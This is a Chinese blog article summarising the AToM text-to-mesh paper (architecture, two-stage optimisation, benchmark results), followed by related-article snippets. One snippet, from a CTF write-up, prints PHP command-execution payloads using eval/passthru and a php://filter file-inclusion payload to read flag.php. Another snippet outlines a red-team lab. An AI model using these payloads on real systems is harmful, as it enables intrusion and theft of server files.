不到1s生成mesh! 高效文生3D框架AToM

605a351b13e847da95caa076802d1c91.png

e074c38805054edd99a250d9519f37b1.gif

论文题目: AToM: Amortized Text-to-Mesh using 2D Diffusion
论文链接: https://arxiv.org/abs/2402.00867 项目主页: AToM: Amortized Text-to-Mesh using 2D Diffusion

随着AIGC的爆火,生成式人工智能在3D领域也实现了非常显著的效果,但是现有的文生3D模型仍然存在很多局限,例如主流的文生3D方法需要逐文本优化(per-prompt optimization),生成过程非常耗时。此外,这些方法的可扩展性仍有待提高,对于训练分布之外的未见文本(unseen prompt),模型无法生成

本文介绍一篇来自Snapchat、KAUST和多伦多大学合作完成的工作AToM(Amortized Text-to-Mesh using 2D Diffusion)。AToM是一种可以跨多个文本提示进行优化的三维生成框架,其可以在不到1秒的时间内直接生成高质量的纹理网格,训练成本相比逐文本优化方法至少降低 10 倍,并且具有更好的泛化性能,对未见的文本提升,可以轻松地应对。AToM的关键idea是构建了一种基于triplane的文本到3D模型生成框架,并且设计了一种两阶段Amortized优化策略,这样可以保证模型训练过程的稳定性,同时提高可扩展性。AToM可以灵活的掌握2D扩散模型中的先验,根据用户输入的文本提示在短时间内完成相应3D模型的生成

99a48a36234b46719ba5c32174161aa4.png

本文作者在多个标准评估基准上进行了大量的实验,实验结果表明AToM的精度显著优于目前的SOTA方法ATT3D[1],同时与per-prompt方法相比,AToM展示出了强大的通用能力,下图展示了AToM生成各种三维模型的效果。

3e5fbc8f7cd747478d7624e7a1260df2.gif

01. 引言

生成式人工智能的迅速发展,使得3D模型的构建过程越来越方便直接,设计师们无需进行复杂的手工绘制,而是只输入几个单词就可以创建一个逼真的模型。当前主流的文本到3D模型方法可以在无需三维监督信号的情况下进行训练。但是这种方法需要根据用户输入的每个提示进行优化,这导致了模型无法推广到真实场景中的unseen提示。近期,发表在ICCV2023上的ATT3D方法[1]提出了一种Amortized文本到3D模型生成技术,大幅度地缩减模型的训练时间,但是其仍局限于NeRF格式的输入。直观上分析,将NeRF转换为3D模型是不够精确的。另外更重要的是,由于HyperNets训练不稳定性,基于HyperNets的ATT3D在大规模数据集中表现欠佳,对于不同的提示词,容易生成无法分辨的3D模型。

d2991911ba0640c5851f3d1325bd8f2c.png

因此本文引入了一种全新的AToM,直接将Amortized技术应用到文本到三维纹理网络mesh生成中。然而,盲目的将ATT3D方法扩展为Text-to-Mesh形式,也会面临在几何拓扑方面出现偏差的问题,如下图第二列所示。

b155822b0ab340a3964ba66b7541ddce.png

为此,AToM引入了基于triplane的mesh生成框架以及二阶段Amortized优化策略,以稳定Text-to-Mesh的训练稳定性,增强生成的可扩展性。与ATT3D相比,AToM可以产生质量更好效果更逼真的3D内容,在大数据集上表现更佳。 上图分别展示了本文方法与ATT3D的生成效果对比。

02. 本文方法

2.1 AToM Pipeline

下图展示了本文方法在训练和推理过程中的pipeline,与针对特征提示的主流3D模型生成方法不同,AToM的网络架构由一个文本编码器、一个text-to-triplane网络和一个triplane-to-mesh生成器构成

f934c5d506a64622a2ad8e40dc2286d9.png

2.2 两阶段的Amortized优化

2.2.1 体积优化

2.2.2 网格优化

AToM的第二阶段优化是使用网格光栅化通过高分辨率渲染来优化整个网络。此时作者使用了可微的网格表示,同时使用网格光栅化可以节省内存并提高计算速度,这允许整体框架使用更高分辨率(例如尺寸为例如 512×512)的渲染进行训练。训练损失使用与第一阶段相同的SDS损失,由于SDF和颜色网络已在第一阶段得到了优化,因此第二阶段的主要目标是通过网格表示中的高分辨率渲染来提高几何和纹理的质量。需要指出的是,在这两个优化阶段中,AToMs没有接收任何 3D 数据的监督信号,仅在文本到图像扩散模型的指导下完成训练。

03. 实验效果

本文的实验在多个标准评估基准上进行,包括Pig64、Animal2400, DF27和DF415。评价指标使用与ATT3D方法相同的CLIP-R概率,其可以衡量输入文本与生成3D模型的均匀渲染视图的平均距离。下表展示了本文方法与其他baseline方法的对比结果。

91540d5bacbc467db5d432b4a2d84227.png

从表中可以观察到,AToM 在 Pig64 的unseen提示上获得了比 ATT3D(64.29%)更高的 CLIP R 概率 75.00%,这表明AToM拥有更强的泛化能力。此外,在Pig64 和 DF27 的训练提示中,AToM 在两个数据集上都超越了其他方法。

f225b245955047d18a4781af65938a82.png

​​​​​​​AToM框架的一个优点是,其可以轻松推广到模型训练分布之外的插值提示中,而普通的per-prompt方法不具备这种通用性。上图展示了AToM方法在Pig64中的unseen生成效果,AToM 无需进一步优化就可以对unseen提示生成高质量的结果,如上图对角线所示。 在Animal2400 12.5%数据集中,AToM仅在300个文本上训练,便可扩展至2400个文本的生成,下图展现了部分文本的生成效果:

4bb9a8c55f294830b828ac000322577e.png

此外,作者在下图中对AToM中的关键模块和操作进行了消融研究,从图中可以观察到,当仅使用单阶段进行训练时,模型的收敛稳定性会受到明显影响,生成的准确率较低,只有7.47%,明显低于 AToM full(81.93%)。这表明,本文所提的两阶段优化策略非常重要,经过第二阶段训练产生的网格具有更高的视觉质量

2ca0a04b5f4c4a47a669f3d11613f270.png

04. 总结

本文提出了一种新颖的Amortized文本到3D模型生成框架AToM,AToM可以在没有3D 监督的情况下跨多个文本提示进行网络优化。AToM的训练过程基于三平面的网格生成器,这有助于更稳定的优化和提高对大规模数据集的通用性。此外,作者针对文本到3D网格生成过程,设计了一种两阶段Amortized优化策略,与普通的per-prompt方法相比,AToM 显着减少了训练时间,更重要的是,AToM 表现出很强的通用性,无需进一步优化即可为下游环境中的unseen提示生成高质量的 3D 内容。

参考

[1] Jonathan Lorraine, Kevin Xie, Xiaohui Zeng, Chen-Hsuan Lin, Towaki Takikawa, Nicholas Sharp, Tsung-Yi Lin, Ming Yu Liu, Sanja Fidler, and James Lucas. Att3d: Amortized text-to-3d object synthesis. In Proceedings of the IEEE/CVF International Conference on Computer Vision (ICCV), pages 17946–17956, October 2023.

[2] Colin Raffel, Noam Shazeer, Adam Roberts, Katherine Lee, Sharan Narang, Michael Matena, Yanqi Zhou, Wei Li, and Peter J. Liu. Exploring the limits of transfer learning with a unified text-to-text transformer. Journal of Machine Learning Research, 21(140):1–67, 2020.

[3] Peng Wang, Lingjie Liu, Yuan Liu, Christian Theobalt, Taku Komura, and Wenping Wang. Neus: Learning neural implicit surfaces by volume rendering for multi-view reconstruction. In Advances in Neural Information Processing Systems (NeurIPS), 2021.

[4] Ben Poole, Ajay Jain, Jonathan T Barron, and Ben Mildenhall. Dreamfusion: Text-to-3d using 2d diffusion. International Conference on Learning Representations (ICLR), 2022.


关于TechBeat人工智能社区

TechBeat(www.techbeat.net)隶属于将门创投,是一个荟聚全球华人AI精英的成长社区。

我们希望为AI人才打造更专业的服务和体验,加速并陪伴其学习成长。

期待这里可以成为你学习AI前沿知识的高地,分享自己最新工作的沃土,在AI进阶之路上的升级打怪的根据地!

更多详细介绍>>TechBeat,一个荟聚全球华人AI精英的学习成长社区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/377464.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络概念、组成、功能和分类

文章目录 概要1.怎么学习计算机网络2.概念3.功能、组成4.工作方式、功能组成5.分类 概要 概念、组成、功能和分类 1.怎么学习计算机网络 2.概念 通信设备:比如路由器、路由器 线路:将系统和通信设备两者联系的介质之类的 计算机网络是互连的、自治的的计…

CTFshow web(php命令执行 37-40)

?ceval($_GET[shy]);&shypassthru(cat flag.php); #逃逸过滤 ?cinclude%09$_GET[shy]?>&shyphp://filter/readconvert.base64-encode/resourceflag.php #文件包含 ?cinclude%0a$_GET[cmd]?>&cmdphp://filter/readconvert.base64-encode/…

spring boot和spring cloud项目中配置文件application和bootstrap加载顺序

在前面的文章基础上 https://blog.csdn.net/zlpzlpzyd/article/details/136060312 日志配置 logback-spring.xml <?xml version"1.0" encoding"UTF-8"?> <configuration scan"true" scanPeriod"10000000 seconds" debug…

Leetcode 213 打家劫舍 II

题意理解&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋&#xff0c;每间房内都藏有一定的现金。这个地方所有的房屋都 围成一圈 &#xff0c;这意味着第一个房屋和最后一个房屋是紧挨着的。同时&#xff0c;相邻的房屋装有相互连通的防盗系统&#xff0c;如果…

mysql 对于null字段排序处理

最近遇到一个需求 &#xff0c;需要对一个报表的多个字段进行多字段复杂条件排序 排序字段为NULL时 Mysql对于排序字段为NULL时&#xff0c;有自身默认的排序规则&#xff0c;默认是认为null 值 是无穷小 ELECT id,script_id,last_modified,live_count,next_show FROM virtua…

python-自动化篇-办公-一键将word中的表格提取到excel文件中

文章目录 代码 工作中&#xff0c;经常需要将Word文档中的表格粘贴到Excel文件中&#xff0c;以便汇总及分析。一个一个复制粘贴&#xff0c;非常不方便&#xff0c;还是Python自动化操作&#xff0c;省心省力。要求如下图所示&#xff0c;即将word中的所有表格&#xff0c;转存…

红队打靶练习:PHOTOGRAPHER: 1

目录 信息收集 1、arp 2、nmap 3、nikto 目录扫描 1、gobuster 2、dirsearch WEB 信息收集 enum4linux smbclient 8000端口 CMS利用 信息收集 文件上传漏洞利用 提权 信息收集 get user.txt get flag 信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# a…

【开源】JAVA+Vue.js实现开放实验室管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 实验室类型模块2.2 实验室模块2.3 实验管理模块2.4 实验设备模块2.5 实验订单模块 三、系统设计3.1 用例设计3.2 数据库设计 四、系统展示五、样例代码5.1 查询实验室设备5.2 实验放号5.3 实验预定 六、免责说明 一、摘…

【快速上手QT】02-学会查看QT自带的手册QT助手

QT助手 为什么大家都说QT简单&#xff0c;第一点就是确实简单&#xff08;bushi&#xff09;。 我个人觉得最关键的点就是人家QT官方就给你准备好了文档&#xff0c;甚至还有专门的IDE——QtCreator&#xff0c;在QTCreator里面还有很多示例代码&#xff0c;只要你会C的语法以…

小白水平理解面试经典题目LeetCode 71. Simplify Path【Stack类】

71. 简化路径 小白渣翻译 给定一个字符串 path &#xff0c;它是 Unix 风格文件系统中文件或目录的绝对路径&#xff08;以斜杠 ‘/’ 开头&#xff09;&#xff0c;将其转换为简化的规范路径。 在 Unix 风格的文件系统中&#xff0c;句点 ‘.’ 指的是当前目录&#xff0c;…

WordPress如何自建txt文本经典语录并随机显示一句话经典语录?

前面跟大家分享的『WordPress集成一言&#xff08;Hitokoto&#xff09;API经典语句功能』一文中就提供有自创API&#xff0c;其中懿古今顶部左上角显示的经典语录用的就是自建一个txt文本文件&#xff0c;然后再在前端网页指定位置随机显示语录。具体操作方法如下&#xff1a;…

Oracle篇—logminer日志挖掘恢复误操作数据

☘️博主介绍☘️&#xff1a; ✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ ✌✌️擅长Oracle、MySQL、SQLserver、Linux&#xff0c;也在积极的扩展IT方向的其他知识面✌✌️ ❣️❣️❣️大佬们都喜欢静静的看文章&#xff0c;并且也会默默的点赞收藏加关注❣…

微软.NET6开发的C#特性——类、结构体和联合体

我是荔园微风&#xff0c;作为一名在IT界整整25年的老兵&#xff0c;看到不少初学者在学习编程语言的过程中如此的痛苦&#xff0c;我决定做点什么&#xff0c;下面我就重点讲讲微软.NET6开发人员需要知道的C#特性。 C#经历了多年发展&#xff0c; 进行了多次重大创新&#xf…

C# 委托(delegate)本质理解

目录 代码如下&#xff0c;很简单 运行的结果 反编译程序查看 关注两点&#xff1a; 什么是委托 委托的三个步骤 委托的意义 代码如下&#xff0c;很简单 namespace Delegate { class Program { delegate void SayHi(); void SayHi_1() …

FL Studio水果软件21的版本更新具体有哪些内容?

FL Studio 21相比之前的版本&#xff0c;包含多个新的更新和改进&#xff0c;具体内容如下&#xff1a; 用户界面&#xff1a;FL Studio 21采用了全新的FLAT UI设计风格&#xff0c;使得界面更加简洁美观。同时&#xff0c;用户现在可以根据自己的喜好更换界面风格。另外&…

CSS Transition:为网页元素增添优雅过渡效果

随着互联网的发展&#xff0c;网页的视觉效果和用户体验变得尤为重要。CSS Transition作为一种能够让网页元素在状态改变时呈现平滑过渡效果的工具&#xff0c;受到了广大前端开发者的青睐。本文将详细介绍CSS Transition的基本概念、使用方法以及常见应用&#xff0c;帮助读者…

问题:0xc8前面加(byte) #人工智能#学习方法的原因是因为0xc8大于??????????? 。 #微信#其他#微信

问题&#xff1a;0xc8前面加&#xff08;byte&#xff09;的原因是因为0xc8大于??????????? 。 参考答案如图所示

Arm发布新的人工智能Cortex-M处理器

Arm发布了一款新的Cortex-M处理器&#xff0c;旨在为资源受限的物联网&#xff08;IoT&#xff09;设备提供先进的人工智能功能。这款新的Cortex-M52声称是最小的、面积和成本效率最高的处理器&#xff0c;采用了Arm Helium技术&#xff0c;使开发者能够在单一工具链上使用简化…

编程实例分享,手表养护维修软件钟表维修开单管理系统教程

编程实例分享&#xff0c;手表养护维修软件钟表维修开单管理系统教程 一、前言 以下教程以 佳易王钟表维护维修管理系统软件V16.0为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 左侧为导航栏&#xff0c; 1、系统设置&#xff1a;可以设置打…

【Git版本控制 04】标签管理

目录 一、创建标签 二、查看标签 三、推送标签 四、删除标签 一、创建标签 标签tag&#xff0c;是对某次 commit 的⼀个标识&#xff0c;相当于起了⼀个别名。 相较于难以记住的 commit id &#xff0c; tag 很好的解决这个问题&#xff0c;因为 tag ⼀定要给⼀个让⼈容易…